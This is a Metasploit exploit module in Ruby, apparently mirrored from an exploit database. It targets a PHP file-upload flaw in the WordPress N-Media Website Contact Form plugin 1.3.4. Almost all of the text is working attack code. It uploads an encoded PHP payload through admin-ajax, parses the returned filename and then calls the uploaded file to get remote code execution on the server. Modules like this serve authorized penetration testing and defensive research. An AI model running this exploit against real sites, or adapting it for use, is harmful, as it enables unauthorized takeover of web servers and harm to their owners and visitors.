## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::HTTP::Wordpress include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Wordpress N-Media Website Contact Form Upload Vulnerability', 'Description' => %q{ This module exploits an arbitrary PHP code upload in the WordPress N-Media Website Contact Form plugin, version 1.3.4. The vulnerability allows for arbitrary file upload and remote code execution. }, 'Author' => [ 'Claudio Viviani', # Vulnerability discovery 'Roberto Soares Espreto ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'], ['WPVDB', '7896'] ], 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['N-Media WebSite Contact Form 1.3.4', {}]], 'DisclosureDate' => 'Apr 12 2015', 'DefaultTarget' => 0) ) end def check check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.5') end def exploit php_pagename = rand_text_alpha(4 + rand(4)) + '.php' data = Rex::MIME::Message.new data.add_part('upload', nil, nil, 'form-data; name="action"') data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{php_pagename}\"") data.add_part('nm_webcontact_upload_file', nil, nil, 'form-data; name="action"') post_data = data.to_s res = send_request_cgi({ 'uri' => wordpress_url_admin_ajax, 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if res if res.code == 200 && res.body =~ /filename/ begin new_php_pagename = JSON.parse(res.body)["filename"] rescue JSON::ParserError fail_with(Failure::Unknown, 'Unable to parse JSON data for the filename') end print_good("#{peer} - Our payload is at: #{new_php_pagename}. Calling payload...") register_files_for_cleanup(new_php_pagename) else fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}") end else fail_with(Failure::Unknown,'ERROR') end print_status("#{peer} - Calling payload...") send_request_cgi( 'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', new_php_pagename) ) end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-05-28]